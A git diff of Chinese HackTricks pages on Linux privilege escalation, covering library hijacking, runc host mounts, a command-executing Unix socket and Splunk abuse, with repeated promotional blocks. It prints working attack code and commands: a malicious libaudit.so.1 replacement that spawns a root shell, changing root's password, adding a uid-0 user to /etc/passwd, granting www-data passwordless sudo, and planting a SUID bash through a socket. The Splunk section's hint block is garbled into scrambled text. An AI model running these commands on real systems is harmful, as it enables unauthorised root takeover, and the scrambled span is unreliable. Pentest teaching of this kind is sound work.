学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Bash
|
||||
```bash
|
||||
|
@ -54,18 +57,18 @@ execve(paramList[0], paramList, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
## 覆盖文件以提升权限
|
||||
## 通过覆盖文件来提升权限
|
||||
|
||||
### 常见文件
|
||||
|
||||
* 在 _/etc/passwd_ 中添加带密码的用户
|
||||
* 更改 _/etc/shadow_ 中的密码
|
||||
* 在 _/etc/sudoers_ 中将用户添加到sudoers
|
||||
* 通过docker套接字滥用docker,通常在 _/run/docker.sock_ 或 _/var/run/docker.sock_ 中
|
||||
* 在 _/etc/shadow_ 中更改密码
|
||||
* 在 _/etc/sudoers_ 中将用户添加到 sudoers
|
||||
* 通过 docker socket 滥用 docker,通常在 _/run/docker.sock_ 或 _/var/run/docker.sock_ 中
|
||||
|
||||
### 覆盖库
|
||||
|
||||
检查某些二进制文件使用的库,本例中为 `/bin/su`:
|
||||
检查某个二进制文件使用的库,在这种情况下是 `/bin/su`:
|
||||
```bash
|
||||
ldd /bin/su
|
||||
linux-vdso.so.1 (0x00007ffef06e9000)
|
||||
|
@ -77,7 +80,7 @@ libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
|||
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
||||
```
|
||||
在这种情况下,让我们尝试冒充 `/lib/x86_64-linux-gnu/libaudit.so.1`。\
|
||||
在这种情况下,让我们尝试模拟 `/lib/x86_64-linux-gnu/libaudit.so.1`。\
|
||||
因此,检查 **`su`** 二进制文件使用的此库的函数:
|
||||
```bash
|
||||
objdump -T /bin/su | grep audit
|
||||
|
@ -86,7 +89,7 @@ objdump -T /bin/su | grep audit
|
|||
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
|
||||
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
|
||||
```
|
||||
这些符号`audit_open`、`audit_log_acct_message`、`audit_log_acct_message`和`audit_fd`可能来自于libaudit.so.1库。由于恶意共享库将覆盖libaudit.so.1,这些符号应该存在于新的共享库中,否则程序将无法找到该符号并退出。
|
||||
符号 `audit_open`、`audit_log_acct_message`、`audit_log_acct_message` 和 `audit_fd` 可能来自 libaudit.so.1 库。由于 libaudit.so.1 将被恶意共享库覆盖,这些符号应该出现在新的共享库中,否则程序将无法找到该符号并将退出。
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
|
@ -108,32 +111,35 @@ setgid(0);
|
|||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
现在,只需调用**`/bin/su`**,您将获得 root shell。
|
||||
现在,只需调用 **`/bin/su`** 您将获得一个以 root 身份运行的 shell。
|
||||
|
||||
## 脚本
|
||||
|
||||
您能让 root 执行某些操作吗?
|
||||
|
||||
### **将 www-data 添加到 sudoers**
|
||||
### **www-data 到 sudoers**
|
||||
```bash
|
||||
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
|
||||
```
|
||||
### **更改 root 密码**
|
||||
### **更改根密码**
|
||||
```bash
|
||||
echo "root:hacked" | chpasswd
|
||||
```
|
||||
### 将新的root用户添加到/etc/passwd
|
||||
### 将新根用户添加到 /etc/passwd
|
||||
```bash
|
||||
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# RunC 权限提升
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
如果您想了解更多关于 **runc** 的信息,请查看以下页面:
|
||||
如果你想了解更多关于 **runc** 的信息,请查看以下页面:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
|
@ -24,7 +27,7 @@
|
|||
|
||||
## PE
|
||||
|
||||
如果您发现宿主机中安装了 `runc`,您可能能够**运行一个容器,挂载宿主机的根 / 目录**。
|
||||
如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根 / 文件夹的容器**。
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
@ -49,19 +52,22 @@ mkdir rootfs
|
|||
runc run demo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
这并不总是有效的,因为runc的默认操作是以root身份运行,所以以非特权用户身份运行它根本无法工作(除非你有一个rootless配置)。将rootless配置设置为默认并不是一个好主意,因为在rootless容器内部有很多限制在rootless容器外部不适用。
|
||||
{% endhint %}
|
||||
这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行根本无法工作(除非你有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内有相当多的限制,而这些限制在无根容器外并不适用。
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果你想在HackTricks上看到你的**公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,27 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 容器中的SELinux
|
||||
|
||||
[来自redhat文档的介绍和示例](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) 是一个**标签系统**。每个**进程**和每个**文件**系统对象都有一个**标签**。SELinux策略定义了关于系统上的所有其他标签与**进程标签允许执行的操作**的规则。
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) 是一个**标签** **系统**。每个**进程**和每个**文件**系统对象都有一个**标签**。SELinux策略定义了关于**进程标签可以对系统上所有其他标签执行的操作**的规则。
|
||||
|
||||
容器引擎使用单个受限SELinux标签(通常为`container_t`)启动**容器进程**,然后将容器内的容器标记为`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读取/写入/执行标记为`container_file_t`的文件**。如果容器进程逃逸容器并尝试写入主机上的内容,Linux内核将拒绝访问,并仅允许容器进程写入标记为`container_file_t`的内容。
|
||||
容器引擎以单个受限的SELinux标签启动**容器进程**,通常为`container_t`,然后将容器内部的容器设置为标签`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读/写/执行标记为`container_file_t`的文件**。如果容器进程逃离容器并尝试写入主机上的内容,Linux内核将拒绝访问,并仅允许容器进程写入标记为`container_file_t`的内容。
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
|
@ -27,6 +29,23 @@ $ podman top -l label
|
|||
LABEL
|
||||
system_u:system_r:container_t:s0:c647,c780
|
||||
```
|
||||
# SELinux用户
|
||||
# SELinux 用户
|
||||
|
||||
除了常规的Linux用户外,还有SELinux用户。 SELinux用户是SELinux策略的一部分。 每个Linux用户都映射到策略的一部分作为SELinux用户。 这允许Linux用户继承放置在SELinux用户身上的限制、安全规则和机制。
|
||||
除了常规的 Linux 用户,还有 SELinux 用户。SELinux 用户是 SELinux 策略的一部分。每个 Linux 用户都被映射到一个 SELinux 用户,作为策略的一部分。这允许 Linux 用户继承施加在 SELinux 用户上的限制和安全规则及机制。
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 使用Python的Socket绑定示例
|
||||
## 使用 Python 的 Socket 绑定示例
|
||||
|
||||
在以下示例中,创建了一个**unix socket**(`/tmp/socket_test.s`),并且接收到的所有内容都将由`os.system`执行。我知道你在现实中不会找到这样的例子,但这个示例的目的是展示使用unix sockets的代码是什么样的,以及在最坏的情况下如何管理输入。
|
||||
在以下示例中,**创建了一个 unix socket** (`/tmp/socket_test.s`),并且所有**接收到的内容**都将由 `os.system` **执行**。我知道你在现实中不会找到这个,但这个示例的目的是展示使用 unix sockets 的代码是怎样的,以及在最坏情况下如何处理输入。
|
||||
|
||||
{% code title="s.py" %}
|
||||
```python
|
||||
|
@ -39,9 +41,9 @@ print(datagram)
|
|||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
```markdown
|
||||
**使用 python 执行** 代码:`python s.py` 并**检查 socket 如何监听**:
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**执行**代码使用python: `python s.py` 并**检查socket的监听状态**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
|
@ -52,16 +54,19 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
|
|||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,58 @@
|
|||
# Splunk LPE and Persistence
|
||||
|
||||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
如果在**内部**或**外部**枚举机器时发现**运行着Splunk**(端口8090),如果幸运地知道任何**有效凭据**,您可以**滥用Splunk服务**以**执行shell**作为运行Splunk的用户。如果是root在运行,您可以提升权限到root。
|
||||
如果在**内部**或**外部**枚举一台机器时发现**Splunk正在运行**(端口8090),如果你幸运地知道任何**有效凭据**,你可以**利用Splunk服务**来**以运行Splunk的用户身份执行shell**。如果是root在运行它,你可以提升权限到root。
|
||||
|
||||
此外,如果您已经是**root且Splunk服务未仅在本地主机上监听**,您可以**从**Splunk服务中**窃取**密码文件并**破解**密码,或**向其中添加新**凭据。并在主机上保持持久性。
|
||||
此外,如果你已经是root并且Splunk服务不仅在localhost上监听,你可以**从**Splunk服务中**窃取**密码文件并**破解**密码,或者**添加新的**凭据到其中。并在主机上保持持久性。
|
||||
|
||||
在下面的第一张图片中,您可以看到Splunkd网页的外观。
|
||||
在下面的第一张图片中,你可以看到Splunkd网页的样子。
|
||||
|
||||
|
||||
|
||||
## Splunk Universal Forwarder Agent Exploit Summary
|
||||
|
||||
**有关更多详细信息,请查看帖子[https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)**
|
||||
